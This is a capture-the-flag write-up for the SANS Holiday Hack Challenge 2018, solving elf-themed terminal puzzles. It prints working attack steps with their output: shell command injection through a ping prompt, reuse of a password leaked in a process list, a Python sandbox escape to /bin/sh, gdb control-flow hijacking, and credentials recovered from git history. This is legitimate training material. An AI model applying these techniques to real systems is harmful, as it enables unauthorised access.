SANS Holiday Hack Challenge 2018

January 8, 2019


The following post outlines the technical steps taken to complete the SANS Holiday Hack Challenge 2018.

A copy of the PDF of this post is available HERE

Cranberry Pi Challenges

The Name Game

We just hired this new worker,
Californian or New Yorker?
Think he's making some new toy bag...
My job is to make his name tag.

Golly gee, I'm glad that you came,
I recall naught but his last name!
Use our system or your own plan,
Find the first name of our guy "Chan!"

-Bushy Evergreen

To solve this challenge, determine the new worker's first name and submit to runtoanswer.

=                                                                  =
= S A N T A ' S  C A S T L E  E M P L O Y E E  O N B O A R D I N G =
=                                                                  =

 Press  1 to start the onboard process.
 Press  2 to verify the system.
 Press  q to quit.

Please make a selection:

I started off by trying to enter using some basic information to try to poke around

Is this correct?

Fake User
123 Fake
Perth, 1000

y/n: y
Save to sqlite DB using command line
Press Enter to continue...:

The line about saving to DB is interesting but not necessarily an issue. It jsut tells us that the admin isn’t trying to hide what database is running.

When we try option 2 we can specify the server we want to connect to? That’s already interesting.

Validating data store for employee onboard information.
Enter address of server:

When we just hit enter we get the following, indicating its performing a ping

Validating data store for employee onboard information.
Enter address of server:
Usage: ping [-aAbBdDfhLnOqrRUvV] [-c count] [-i interval] [-I interface]
            [-m mark] [-M pmtudisc_option] [-l preload] [-p pattern] [-Q tos]
            [-s packetsize] [-S sndbuf] [-t ttl] [-T timestamp_option]
            [-w deadline] [-W timeout] [hop1 ...] destination
onboard.db: SQLite 3.x database
Press Enter to continue...:

Lets just skip to the obvious here and try stringing together some commands after defining the IP.

Validating data store for employee onboard information.
Enter address of server:; ls
connect: Network is unreachable
menu.ps1  onboard.db  runtoanswer
onboard.db: SQLite 3.x database
Press Enter to continue...:

ls reveals the following files:

  • menu.ps1
  • onboard.db
  • runtoanswer

We run the following:; sqlite3 onboard.db ".tables" and find a table called onboard. At this point I just got a little lazy and decided I’d just cat out the database rather then trying to mess with queries:; cat onboard.db

I then just searched the output for Chan and found the following line:

+  #!?ScottChan48 Colorado WayLos`S

I tried the answer name Scott using the following:; runtoanswer Scott

Enter Mr. Chan's first name: Scott

 OMMMMMMMMMMMMW:  .. ;MMMk'     .NMX:.  .  .lWO         d         xMMMMMMMMMMMW


Essential Editor Skills

Vi escape challenge?


Loading, please wait......
You did it! Congratulations!

Well that was easy!

Stall Mucking Report

kkkkkkkkkkkkkkkkkkkk0XXXXXXNMMMo   KNXXXXXXNo   KMMMNXXXXXX;,,,,,,,,,,,,,,,,,,,
kkkkkkkkkkkkkkkkkkkkXXXXXXXXXXXXXXXXX'    oXXXXXXXXXXXXXXXXd,,,,,,,,,,,,,,,,,,,
kkkkkkkkkkkkkkkkkkkk0XXXXXXXXXXXXXXXX.    cXXXXXXXXXXXXXXXXc,,,,,,,,,,,,,,,,,,,

Thank you Madam or Sir for the help that you bring!
I was wondering how I might rescue my day.
Finished mucking out stalls of those pulling the sleigh,
My report is now due or my KRINGLE's in a sling!

There's a samba share here on this terminal screen.
What I normally do is to upload the file,
With our network credentials (we've shared for a while).
When I try to remember, my memory's clean!

Be it last night's nog bender or just lack of rest,
For the life of me I can't send in my report.
Could there be buried hints or some way to contort,
Gaining access - oh please now do give it your best!

-Wunorse Openslae

Complete this challenge by uploading the elf's report.txt
file to the samba share at //localhost/report-upload/

cat the contents of report.txt

elf@78bdb3479e95:~$ cat report.txt
Stall mucking report

Dasher - routine
Dancer - routine
Prancer - confiscated second salt lick
Vixen - minor repair/adjustment to water system
Comet - routine
Cupid - routine
Donner - routine
Blitzen - refilled headache medicine
Thrasher - routine
Thunder - requested hay! oats! hay! oats!
Blaster - stall... took extra mucking
Blunder - caught with excessive carrot contraband again
Blogger - discussed social media policies again
Bragger - what appeared to be a prosthetic red nose
Tue Jan  8 12:19:11 UTC 2019

The question mentions Samba share at //localhost/report-upload/, and I found that the smbclient was available on the box

I ran a ps -aux and realised that the credentials were actually being passed into the process exeuction command. I ran the following to output the process list to file for easier reading ps -aux > process.txt

root         1  0.0  0.0  17952  2960 pts/0    Ss   12:27   0:00 /bin/bash /sbin/init
root        11  0.0  0.0  45320  3168 pts/0    S    12:27   0:00 sudo -u manager /home/manager/ --verbosity=none --no-check-certificate --extraneous-command-argument --do-not-run-as-tyler --accept-sage-advice -a 42 -d~ --ignore-sw-holiday-special --suppress --suppress //localhost/report-upload/ directreindeerflatterystable -U report-upload
root        12  0.0  0.0  45320  3084 pts/0    S    12:27   0:00 sudo -E -u manager /usr/bin/python /home/manager/
root        16  0.0  0.0  45320  3156 pts/0    S    12:27   0:00 sudo -u elf /bin/bash
manager     17  0.0  0.0   9500  2608 pts/0    S    12:27   0:00 /bin/bash /home/manager/ --verbosity=none --no-check-certificate --extraneous-command-argument --do-not-run-as-tyler --accept-sage-advice -a 42 -d~ --ignore-sw-holiday-special --suppress --suppress //localhost/report-upload/ directreindeerflatterystable -U report-upload
manager     18  0.0  0.0  33848  8124 pts/0    S    12:27   0:00 /usr/bin/python /home/manager/
manager     19  0.0  0.0   4196   680 pts/0    S    12:27   0:00 sleep 60
elf         20  0.0  0.0  18204  3352 pts/0    S    12:27   0:00 /bin/bash
root        24  0.0  0.0 316664 15628 ?        Ss   12:27   0:00 /usr/sbin/smbd
root        25  0.0  0.0 308372  5860 ?        S    12:27   0:00 /usr/sbin/smbd
root        26  0.0  0.0 308364  4504 ?        S    12:27   0:00 /usr/sbin/smbd
root        28  0.0  0.0 316664  6048 ?        S    12:27   0:00 /usr/sbin/smbd
elf         37  0.0  0.0  36636  2868 pts/0    R+   12:27   0:00 ps -aux

The important line here is the following, revealing the command (and password within the execution parameters)

/home/manager/ --verbosity=none --no-check-certificate --extraneous-command-argument --do-not-run-as-tyler --accept-sage-advice -a 42 -d~ --ignore-sw-holiday-special --suppress --suppress //localhost/report-upload/ directreindeerflatterystable -U report-upload

I ran the following to basically re-upload the file using the leaked credentials

smbclient //localhost/report-upload directreindeerflatterystable -U report-upload -c 'put report.txt report.txt'
                           ..KM; Stall Mucking ,MN..
                         OMNXNMd.             .oMWXXM0.
                        ;MO   l0NNNNNNNNNNNNNNN0o   xMc
                        :MO                         xMl             '.
                        :MO   dOOOOOOOOOOOOOOOOOd.  xMl             :l:.
 .cc::::::::;;;;;;;;;;;,oMO  .0NNNNNNNNNNNNNNNNN0.  xMd,,,,,,,,,,,,,clll:.
 'kkkkxxxxxddddddoooooooxMO   ..'''''''''''.        xMkcccccccllllllllllooc.
 'kkkkxxxxxddddddoooooooxMO  .MMMMMMMMMMMMMM,       xMkcccccccllllllllllooool
 'kkkkxxxxxddddddoooooooxMO   '::::::::::::,        xMkcccccccllllllllllool,
 .ooooollllllccccccccc::dMO                         xMx;;;;;::::::::lllll'
                        :MO  .ONNNNNNNNXk           xMl             :lc'
                        :MO   dOOOOOOOOOo           xMl             ;.
                        :MO   'cccccccccccccc:'     xMl
                        :MO  .WMMMMMMMMMMMMMMMW.    xMl
                        :MO    ...............      xMl

You have found the credentials I just had forgot,
And in doing so you've saved me trouble untold.
Going forward we'll leave behind policies old,
Building separate accounts for each elf in the lot.

-Wunorse Openslae

CURLing Master


I am Holly Evergreen, and now you won't believe:
Once again the striper stopped; I think I might just leave!
Bushy set it up to start upon a website call.
Darned if I can CURL it on - my Linux skills apall.

Could you be our CURLing master - fixing up this mess?
If you are, there's one concern you surely must address.
Something's off about the conf that Bushy put in place.
Can you overcome this snag and save us all some face?

  Complete this challenge by submitting the right HTTP
  request to the server at http://localhost:8080/ to
  get the candy striper started again. You may view
  the contents of the nginx.conf file in
  /etc/nginx/, if helpful.

Took a look at the bash history and looks like I lucked out here

elf@98c2503e9552:~$ cat ~/.bash_history
netstat -ant
ncat --broker -nlvp 9090
echo "\302\257\_(\343\203\204)_/\302\257" >> /tmp/shruggins
cat /tmp/shruggins
curl --http2-prior-knowledge http://localhost:8080/index.php
fortune | cowsay | lolcat
ps -aux
figlet I am your father
echo 'goHangasaLAmIimalaSAgnaHoG' | rev
aptitude moo
aptitude -v moo
aptitude -vv moo
aptitude -vvv moo
aptitude -vvvv moo
aptitude -vvvvv moo
aptitude -vvvvvv moo
yes Giddyup
factor 512

Tried to run the command they ran and got the following response (curl --http2-prior-knowledge http://localhost:8080/index.php)

elf@98c2503e9552:~$ curl --http2-prior-knowledge http://localhost:8080/index.php
  <title>Candy Striper Turner-On'er</title>
 <p>To turn the machine on, simply POST to this URL with parameter "status=on"


Simply added the data parameters for status=on and ran the following command: curl --http2-prior-knowledge http://localhost:8080/index.php -d "status=on"

  <title>Candy Striper Turner-On'er</title>
 <p>To turn the machine on, simply POST to this URL with parameter "status=on"

  ''''''       .''''''       .''''''       .:::;   ':okKXXXXXXXX0Oxcooddool,
 .c.......'cccccc.......'cccccc.......'cccc:ccc: .c0XXXXXXXXXX0xO0000000Oc

Unencrypted 2.0? He's such a silly guy.
That's the kind of stunt that makes my OWASP friends all cry.
Truth be told: most major sites are speaking 2.0;
TLS connections are in place when they do so.

-Holly Evergreen
<p>Congratulations! You've won and have successfully completed this challenge.
<p>POSTing data in HTTP/2.0.


The Sleighbell

                          WOo:'.......cW         X0KXW
                kdxOX     x...;.....;c.d      Xd;....':d0W
               W,....'cd0WN,.,WNd'...d:'N   Xl........',.:W
                l........':odoK  No..,0.k Wx';.....'lOWX.'N
                O............,oK   O..O;dWl,d'...;xN   x.o         NXKKKKXN
                W,.....,:ccc:,..;kW k.dcdd,k'..,kW    0'cW    Xko:'.....:odOKW
                 d........',;clll:,xWlolx'x;..oN    Wx'lW  Ko;..........,cxK
                 N,..,codxkkkxdl:::;:xKlx,k.'O     O;,O Ko,....;cdk0KXXXXK0kOW
                  K,.OW           Xkl':k0:o.O   Wk;:kNk:..'cd0N
 W0kdlc:::cloxk0XW Wkc;lx0KNWW       NxlKOxd WOl:dK0l''cdOKK0OOOO0KXNW
  W  NOo'.........,:oxOkkxlc;,',,,,,,:dK;.dKllx0Oo,;d0XKO0KKXKKKK0OO0KXKKN
           X0O0000KXX00000KNK;o;...:0 d,,;lNW      0O0XXK0O0KK0OO0KKK000000
             NXKNNKOOO00XN    W00KK000K000KXXXXXXXXXKK0X
                   WW          WKOOO0   KOKKKXXXXXX0OON

I'll hear the bells on Christmas Day
Their sweet, familiar sound will play
  But just one elf,
  Pulls off the shelf,
The bells to hang on Santa's sleigh!

Please call me Shinny Upatree
I write you now, 'cause I would be
  The one who gets -
  Whom Santa lets
The bells to hang on Santa's sleigh!

But all us elves do want the job,
Conveying bells through wint'ry mob
  To be the one
  Toy making's done
The bells to hang on Santa's sleigh!

To make it fair, the Man devised
A fair and simple compromise.
  A random chance,
  The winner dance!
The bells to hang on Santa's sleigh!

Now here I need your hacker skill.
To be the one would be a thrill!
  Please do your best,
  And rig this test
The bells to hang on Santa's sleigh!

Complete this challenge by winning the sleighbell lottery for Shinny Upatree.

Appeared to be some kind of random number challenge. We had one of these last year (using LD_PRELOAD)

Running the app ./sleighbell-lotto draws a random number

The winning ticket is number 1225.
Rolling the tumblers to see what number you'll draw...

You drew ticket number 4526!

Sorry - better luck next year!

I used gdb to analyse the binary


(gdb) file sleighbell-lotto
Reading symbols from sleighbell-lotto...(no debugging symbols found)...done.

(gdb) run
Starting program: /home/elf/sleighbell-lotto
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/".

The winning ticket is number 1225.
Rolling the tumblers to see what number you'll draw...

You drew ticket number 4331!

Sorry - better luck next year!
[Inferior 1 (process 21) exited normally]

I saw there were a couple different shared libs on the system, but no way to compile (GCC etc..)

Well, maybe we can breakpoint and see what functions we have available. Ran (gdb) info functions and got a list of functions

0x00000000000008c8  _init
0x00000000000008f0  printf@plt
0x0000000000000900  memset@plt
0x0000000000000910  puts@plt
0x0000000000000920  exit@plt
0x0000000000000930  malloc@plt
0x0000000000000940  free@plt
0x0000000000000950  strlen@plt
0x0000000000000960  sleep@plt
0x0000000000000970  getenv@plt
0x0000000000000980  __stack_chk_fail@plt
0x0000000000000990  HMAC@plt
0x00000000000009a0  srand@plt
0x00000000000009b0  EVP_sha256@plt
0x00000000000009c0  rand@plt
0x00000000000009d0  memcpy@plt
0x00000000000009e0  time@plt
0x00000000000009f0  __cxa_finalize@plt
0x0000000000000a00  _start
0x0000000000000a30  deregister_tm_clones
0x0000000000000a70  register_tm_clones
0x0000000000000ac0  __do_global_dtors_aux
0x0000000000000b00  frame_dummy
0x0000000000000b0a  hmac_sha256
0x0000000000000bcc  build_decoding_table
0x0000000000000c1e  base64_cleanup
0x0000000000000c43  base64_decode
0x0000000000000f18  tohex
0x0000000000000fd7  winnerwinner
0x00000000000014b7  sorry
0x00000000000014ca  main
0x00000000000015b0  __libc_csu_init
0x0000000000001620  __libc_csu_fini
0x0000000000001624  _fini

Bingo! winnerwinner. Lets try just jumping to the function using (gdb) jump winnerwinner. Before that we need to set a breakpoint however. We’ll do this on rand using (gdb) break rand

(gdb) break rand
Breakpoint 1 at 0x7ffff75b03a0
(gdb) run
Starting program: /home/elf/sleighbell-lotto
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/".

The winning ticket is number 1225.
Rolling the tumblers to see what number you'll draw...

Breakpoint 1, 0x00007ffff75b03a0 in rand () from /lib/x86_64-linux-gnu/
(gdb) jump winnerwinner
Continuing at 0x555555554fdb.

                                                     .....          ......
                                     ..,;:::::cccodkkkkkkkkkxdc;.   .......
                  .:xkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkko;.     ........
                'lkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkx:.          ......
                              ....... ...

With gdb you fixed the race.
The other elves we did out-pace.
  And now they'll see.
  They'll all watch me.
I'll hang the bells on Santa's sleigh!

Congratulations! You've won, and have successfully completed this challenge.

Program received signal SIGSEGV, Segmentation fault.
0x00007fffffffe700 in ?? ()

Dev Ops Fail

                    .,'  ..;:::::::::::;,;::::,.

Coalbox again, and I've got one more ask.
Sparkle Q. Redberry has fumbled a task.
Git pull and merging, she did all the day;
With all this gitting, some creds got away.

Urging - I scolded, "Don't put creds in git!"
She said, "Don't worry - you're having a fit.
If I did drop them then surely I could,
Upload some new code done up as one should."

Though I would like to believe this here elf,
I'm worried we've put some creds on a shelf.
Any who's curious might find our "oops,"
Please find it fast before some other snoops!

Find Sparkle's password, then run the runtoanswer tool.

A git challenge! I had one of these recently at a local CTF here in Perth.

$ ls
kcconfmgmt  runtoanswer

$ cd kcconfmgmt/

$ ls  app.js  package-lock.json  package.json  public  routes  server  views

$ git log

commit 60a2ffea7520ee980a5fc60177ff4d0633f2516b
Author: Sparkle Redberry <>
Date:   Thu Nov 8 21:11:03 2018 -0500

    Per @tcoalbox admonishment, removed username/password from config.js, default settings in config.js.def need to be updated before use

commit b2376f4a93ca1889ba7d947c2d14be9a5d138802
Author: Sparkle Redberry <>
Date:   Thu Nov 8 13:25:32 2018 -0500

    Add passport module

Found the interesting looking commit message. Lets load up the code at the hash just before that commit.

git checkout b2376f4a93ca1889ba7d947c2d14be9a5d138802

And lets check the file that was removed

$ cat server/config/config.js
// Database URL
module.exports = {
    'url' : 'mongodb://sredberry:twinkletwinkletwinkle@'

Bingo! twinkletwinkletwinkle

Enter Sparkle Redberry's password: twinkletwinkletwinkle

This ain't "I told you so" time, but it's true:
I shake my head at the goofs we go through.
Everyone knows that the gits aren't the place;
Store your credentials in some safer space.


Python escape from

        .clllllll'  :XK.  :llllllllllllllllllll;  ,XX.  ;lllllllllllllllllll.
       .cllllllll.  oXX'  ,llllllllllllllllllll.  cXX;  .lllllllllllllllllll'
       clllllllll;  .xl  .cllllllllllllllllllllc.  do  .clllllllllllllllllll,
     :lllllllllllllllllllllllll:  .l,  .lllllllllllllllllllllllllllllllll:
     ,lllllllllllllllllllllllllc  .l;  ,llllllllllllllllllllllllllllllll:
                      'lllllllllc.    ',,,,,,,,.
                     lMMMMMMMMMW,    .ddddddddd.
                    kMMMMMMMMMX.     kMMMMMMMMK
                   ':::::::::,      .NWWWWWWWW:
                  ',,,,,,,,,.       .,,,,,,,,'
                .oooooooooo.        ',,,,,,,,.
               .NMMMMMMMMW;        cOOOOOOOOx
               0MMMMMMMMMc         NMMMMMMMMk
               ;;;;;;;;;'         .KKKKKKKKK:
              .,,,,,,,,,           ,,,,,,,,,.
              .ddddddddo           ',,,,,,,,.
               XMMMMMMMN           cKKKKKKKKK.
    .;:::;;,,,,,:ldddddd.           0MMMMMMMMX.       ....
      .,:ccccccccccccccc            'cccccccccc:::ccccc;.
         .:ccccccccccccc            .ccccccccccccccc:'.
           .;;;;;;;;;;;;            .ccccccccccccc;.

I'm another elf in trouble,
Caught within this Python bubble.

Here I clench my merry elf fist -
Words get filtered by a black list!

Can't remember how I got stuck,
Try it - maybe you'll have more luck?

For this challenge, you are more fit.
Beat this challenge - Mark and Bag it!

-SugarPlum Mary

To complete this challenge, escape Python
and run ./i_escaped

I tried the obvious

>>> import pty; pty.spawn("/bin/sh");
Use of the command import is prohibited for this question.

We’re stuck inside a python shell. For this one I reviewed the fantastic video by Mark Baggett on Escaping Python Shells

Running exit(dir()) resulted in a printout of a couple variables that looked interesting

>>> exit(dir())
['__builtins__', '__cached__', '__doc__', '__file__', '__loader__', '__name__', '__package__', '__spec__', 'banner', 'code', 'readfilter', 'readline', 'restricted_terms', 'whitelist']

I tried the obvious and just overwrote the restricted_terms list with an empty list []. Then tried to launch a shell now that the restrictions were removed.

restricted_terms = []
import pty; pty.spawn("/bin/sh");
$ ./i_escaped
Loading, please wait......

  ____        _   _
 |  _ \ _   _| |_| |__   ___  _ __
 | |_) | | | | __| '_ \ / _ \| '_ \
 |  __/| |_| | |_| | | | (_) | | | |
 |_|___ \__, |\__|_| |_|\___/|_| |_| _ _
 | ____||___/___ __ _ _ __   ___  __| | |
 |  _| / __|/ __/ _` | '_ \ / _ \/ _` | |
 | |___\__ \ (_| (_| | |_) |  __/ (_| |_|
 |_____|___/\___\__,_| .__/ \___|\__,_(_)

That's some fancy Python hacking -
You have sent that lizard packing!

-SugarPlum Mary

You escaped! Congratulations!

Lethal ForensicELFication

   .,.   ,. .......,.  .',..'',,..:::::,,;:c:::ccooooodxkkOOkOO0KKXXXNNWMMMMMMM
   ldd: .d' ';... .o:  .d;.;:....'dl,;do,:lloc:codddodOOxxk0KOOKKKKXNNNWMMMMMMM
   lo.ol.d' ';'..  ,d'.lc..;:,,,.'docod:,:l:locldlddokOxdxxOK0OKKKXXXNNWMMMMMMM
   lo  lod' ';      co:o...;:....'dl':dl,:l::oodlcddoxOkxxk0KOOKKKKXNNNWMMMMMMM
   ,,   ,;. ......  .;:....',,,,''c:'':l;;c:;:llccoooodkkOOOkOO0KKKXNNNWMMMMMMM

Christmas is coming, and so it would seem,
ER (Elf Resources) crushes elves' dreams.
One tells me she was disturbed by a bloke.
He tells me this must be some kind of joke.

Please do your best to determine what's real.
Has this jamoke, for this elf, got some feels?
Lethal forensics ain't my cup of tea;
If YOU can fake it, my hero you'll be.

One more quick note that might help you complete,
Clearing this mess up that's now at your feet.
Certain text editors can leave some clue.
Did our young Romeo leave one for you?

- Tangle Coalbox, ER Investigator

  Find the first name of the elf of whom a love poem
  was written.  Complete this challenge by submitting
  that name to runtoanswer.

There’s a path called .secrets in my home directory

cat out the poem.txt file in that directory results in the following

elf@78eb718bbb50:~$ cat ~/.secrets/her/poem.txt
Once upon a sleigh so weary, Morcel scrubbed the grime so dreary,
Shining many a beautiful sleighbell bearing cheer and sound so pure--
  There he cleaned them, nearly napping, suddenly there came a tapping,
As of someone gently rapping, rapping at the sleigh house door.
"'Tis some caroler," he muttered, "tapping at my sleigh house door--
  Only this and nothing more."

Then, continued with more vigor, came the sound he didn't figure,
Could belong to one so lovely, walking 'bout the North Pole grounds.
  But the truth is, she WAS knocking, 'cause with him she would be talking,
Off with fingers interlocking, strolling out with love newfound?
Gazing into eyes so deeply, caring not who sees their rounds.
  Oh, 'twould make his heart resound!

Hurried, he, to greet the maiden, dropping rag and brush - unlaiden.
Floating over, more than walking, moving toward the sound still knocking,
  Pausing at the elf-length mirror, checked himself to study clearer,
Fixing hair and looking nearer, what a hunky elf - not shocking!
Peering through the peephole smiling, reaching forward and unlocking:
  NEVERMORE in tinsel stocking!

Greeting her with smile dashing, pearly-white incisors flashing,
Telling jokes to keep her laughing, soaring high upon the tidings,
  Of good fortune fates had borne him.  Offered her his dexter forelimb,
Never was his future less dim!  Should he now consider gliding--
No - they shouldn't but consider taking flight in sleigh and riding
  Up above the Pole abiding?

Smile, she did, when he suggested that their future surely rested,
Up in flight above their cohort flying high like ne'er before!
  So he harnessed two young reindeer, bold and fresh and bearing no fear.
In they jumped and seated so near, off they flew - broke through the door!
Up and up climbed team and humor, Morcel being so adored,
  By his lovely NEVERMORE!

-Morcel Nougat

Interesting, but looks like a diversion. There was also a .viminfo path. cating this file results in some interesting strings

elf@78eb718bbb50:~$ cat ~/.viminfo
# This viminfo file was generated by Vim 8.0.
# You may edit it if you're careful!

# Viminfo version

# Value of 'encoding' when this file was written

# hlsearch on (H) or off (h):
# Last Substitute Search Pattern:

# Last Substitute String:

# Command Line History (newest to oldest):
:r .secrets/her/poem.txt
|2,0,1536607201,,"r .secrets/her/poem.txt"
:r .secrets/her/poem.txt
|2,0,1536600314,,"r .secrets/her/poem.txt"

Looks like the Elf is named Elinore. Lets submit

Who was the poem written about? Elinore

WWNXXKK00OOOxddddollcccll:;,;:;,'...,,.....'',,''.    .......    .''''''
WWNXXXKK0OOkxdxxxollcccoo:;,ccc:;...:;...,:;'...,:;.  ,,....,,.  ::'....
WWNXXXKK0OOkxdxxxollcccoo:;,cc;::;..:;..,::...   ;:,  ,,.  .,,.  ::'...
WWNXXXKK0OOkxdxxxollcccoo:;,cc,';:;':;..,::...   ,:;  ,,,',,'    ::,'''.
WWNXXXK0OOkkxdxxxollcccoo:;,cc,'';:;:;..'::'..  .;:.  ,,.  ','   ::.
WWNXXXKK00OOkdxxxddooccoo:;,cc,''.,::;....;:;,,;:,.   ,,.   ','  ::;;;;;

Thank you for solving this mystery, Slick.
Reading the .viminfo sure did the trick.
Leave it to me; I will handle the rest.
Thank you for giving this challenge your best.

-Tangle Coalbox
-ER Investigator


Yule Log Analysis

        OMMMMNx;,,,,,KMMN,,,,lWMM0c,,,,,l. .,cdkO00ccc:;,.

I am Pepper Minstix, and I'm looking for your help.
Bad guys have us tangled up in pepperminty kelp!
"Password spraying" is to blame for this our grinchly fate.
Should we blame our password policies which users hate?

Here you'll find a web log filled with failure and success.
One successful login there requires your redress.
Can you help us figure out which user was attacked?
Tell us who fell victim, and please handle this with tact...

  Submit the compromised webmail username to
  runtoanswer to complete this challenge.

There’s a python file that I can use to read from the ho-ho-no.evtx file. For this challenge I took the approach of making best guess of the name based on some variables.

I started by listing out the unique entries that included the field User

python ho-ho-no.evtx | grep User | sort | uniq

<Data Name="LogonProcessName">User32 </Data>
<Data Name="SubjectUserName">-</Data>
<Data Name="SubjectUserName">LOCAL SERVICE</Data>
<Data Name="SubjectUserName">WIN-KCON-EXCH16$</Data>
<Data Name="SubjectUserSid">S-1-5-18</Data>
<Data Name="SubjectUserSid">S-1-5-19</Data>
<Data Name="SubjectUserSid">S-1-5-20</Data>
<Data Name="TargetOutboundUserName">-</Data>
<Data Name="TargetOutboundUserName">WIN-KCON-EXCH16$</Data>
<Data Name="TargetUserName">-</Data>
<Data Name="TargetUserName">ANONYMOUS LOGON</Data>
<Data Name="TargetUserName">Administrator</Data>
<Data Name="TargetUserName">DWM-1</Data>
<Data Name="TargetUserName">HealthMailboxbab78a6</Data>
<Data Name="TargetUserName">HealthMailboxbe58608</Data>
<Data Name="TargetUserName">HealthMailboxbe58608d4925422d8e4ea458cfedc612@EM.KRINGLECON.COM</Data>
<Data Name="TargetUserName">IUSR</Data>
<Data Name="TargetUserName">LOCAL SERVICE</Data>
<Data Name="TargetUserName">MSSQL$MICROSOFT##WID</Data>
<Data Name="TargetUserName">NETWORK SERVICE</Data>
<Data Name="TargetUserName">SYSTEM</Data>
<Data Name="TargetUserName">aaron.smith</Data>
<Data Name="TargetUserName">abhishek.kumar</Data>
<Data Name="TargetUserName">adam.smith</Data>
<Data Name="TargetUserName">ahmed.ali</Data>

Then I listed the counts of these unique entries

python ho-ho-no.evtx | grep User | sort | uniq -c

      2 <Data Name="LogonProcessName">User32 </Data>
    592 <Data Name="SubjectUserName">-</Data>
      4 <Data Name="SubjectUserName">LOCAL SERVICE</Data>
    425 <Data Name="SubjectUserName">WIN-KCON-EXCH16$</Data>
     28 <Data Name="SubjectUserSid">S-1-5-18</Data>
      2 <Data Name="SubjectUserSid">S-1-5-19</Data>
      8 <Data Name="SubjectUserSid">S-1-5-20</Data>
    754 <Data Name="TargetOutboundUserName">-</Data>
      2 <Data Name="TargetOutboundUserName">WIN-KCON-EXCH16$</Data>
     10 <Data Name="TargetUserName">-</Data>
      1 <Data Name="TargetUserName">ANONYMOUS LOGON</Data>
      3 <Data Name="TargetUserName">Administrator</Data>
      2 <Data Name="TargetUserName">DWM-1</Data>
    116 <Data Name="TargetUserName">HealthMailboxbab78a6</Data>
    582 <Data Name="TargetUserName">HealthMailboxbe58608</Data>
    108 <Data Name="TargetUserName">HealthMailboxbe58608d4925422d8e4ea458cfedc612@EM.KRINGLECON.COM</Data>
      1 <Data Name="TargetUserName">IUSR</Data>


      1 <Data Name="TargetUserName">vinod.kumar</Data>
      2 <Data Name="TargetUserName">wunorse.openslae</Data>
    222 <Data Name="TargetUserSid">S-1-0-0</Data>
      1 <Data Name="TargetUserSid">S-1-5-17</Data>
     43 <Data Name="TargetUserSid">S-1-5-18</Data>
      1 <Data Name="TargetUserSid">S-1-5-19</Data>
      3 <Data Name="TargetUserSid">S-1-5-20</Data>
    115 <Data Name="TargetUserSid">S-1-5-21-25059752-1411454016-2901770228-1133</Data>
    581 <Data Name="TargetUserSid">S-1-5-21-25059752-1411454016-2901770228-1134</Data>
      1 <Data Name="TargetUserSid">S-1-5-21-25059752-1411454016-2901770228-1152</Data>
      1 <Data Name="TargetUserSid">S-1-5-21-25059752-1411454016-2901770228-1153</Data>
      2 <Data Name="TargetUserSid">S-1-5-21-25059752-1411454016-2901770228-1156</Data>
      1 <Data Name="TargetUserSid">S-1-5-21-25059752-1411454016-2901770228-1157</Data>
      1 <Data Name="TargetUserSid">S-1-5-21-25059752-1411454016-2901770228-1158</Data>
      2 <Data Name="TargetUserSid">S-1-5-21-25059752-1411454016-2901770228-500</Data>
      1 <Data Name="TargetUserSid">S-1-5-7</Data>
      1 <Data Name="TargetUserSid">S-1-5-80-1184457765-4068085190-3456807688-2200952327-3769537534</Data>
      2 <Data Name="TargetUserSid">S-1-5-90-0-1</Data>
      2 <Data Name="UserAccountControl">-</Data>
      2 <Data Name="UserParameters">-</Data>
      2 <Data Name="UserPrincipalName">-</Data>
      2 <Data Name="UserWorkstations">-</Data>
    581 <EventData><Data Name="SubjectUserSid">S-1-0-0</Data>
    397 <EventData><Data Name="SubjectUserSid">S-1-5-18</Data>
      2 <EventData><Data Name="SubjectUserSid">S-1-5-19</Data>
      3 <EventData><Data Name="SubjectUserSid">S-1-5-20</Data>
      1 <EventData><Data Name="TargetUserName">Administrator</Data>
      1 <EventData><Data Name="TargetUserName">Administrator@EM.KRINGLECON.COM</Data>
     18 <EventData><Data Name="TargetUserName">Administrators</Data>
     16 <EventData><Data Name="TargetUserName">Backup Operators</Data>
     36 <EventData><Data Name="TargetUserName">HealthMailboxbab78a6</Data>
     35 <EventData><Data Name="TargetUserName">HealthMailboxbab78a6@EM.KRINGLECON.COM</Data>
      4 <EventData><Data Name="TargetUserName">HealthMailboxbe58608</Data>
      4 <EventData><Data Name="TargetUserName">HealthMailboxbe58608@EM.KRINGLECON.COM</Data>
     63 <EventData><Data Name="TargetUserName">WIN-KCON-EXCH16$@EM.KRINGLECON.COM</Data>
      1 <EventData><Data Name="TargetUserName">bushy.evergreen</Data>
      1 <EventData><Data Name="TargetUserName">bushy.evergreen@EM.KRINGLECON.COM</Data>
      2 <EventData><Data Name="TargetUserName">minty.candycane</Data>
      2 <EventData><Data Name="TargetUserName">minty.candycane@EM.KRINGLECON.COM</Data>
      1 <EventData><Data Name="TargetUserName">shinny.upatree</Data>
      1 <EventData><Data Name="TargetUserName">shinny.upatree@EM.KRINGLECON.COM</Data>
      1 <EventData><Data Name="TargetUserName">sparkle.redberry</Data>
      1 <EventData><Data Name="TargetUserName">sparkle.redberry@EM.KRINGLECON.COM</Data>
      1 <EventData><Data Name="TargetUserName">wunorse.openslae</Data>
      1 <EventData><Data Name="TargetUserName">wunorse.openslae@EM.KRINGLECON.COM</Data>
      1 <EventData><Data Name="TargetUserSid">S-1-5-21-25059752-1411454016-2901770228-500</Data>
   1288 <Security UserID=""></Security>

Then I focused on finding the relevant EventIDs

python ho-ho-no.evtx | grep EventID | sort | uniq -c

      1 <EventID Qualifiers="">4608</EventID>
    756 <EventID Qualifiers="">4624</EventID>
    212 <EventID Qualifiers="">4625</EventID>
      1 <EventID Qualifiers="">4647</EventID>
     10 <EventID Qualifiers="">4688</EventID>
      2 <EventID Qualifiers="">4724</EventID>
      2 <EventID Qualifiers="">4738</EventID>
     45 <EventID Qualifiers="">4768</EventID>
    109 <EventID Qualifiers="">4769</EventID>
    108 <EventID Qualifiers="">4776</EventID>
     34 <EventID Qualifiers="">4799</EventID>
      1 <EventID Qualifiers="">4826</EventID>
      1 <EventID Qualifiers="">4902</EventID>
      2 <EventID Qualifiers="">4904</EventID>
      1 <EventID Qualifiers="">5024</EventID>
      1 <EventID Qualifiers="">5033</EventID>
      2 <EventID Qualifiers="">5059</EventID>

And process names

python ho-ho-no.evtx | grep ProcessName | sort | uniq -c

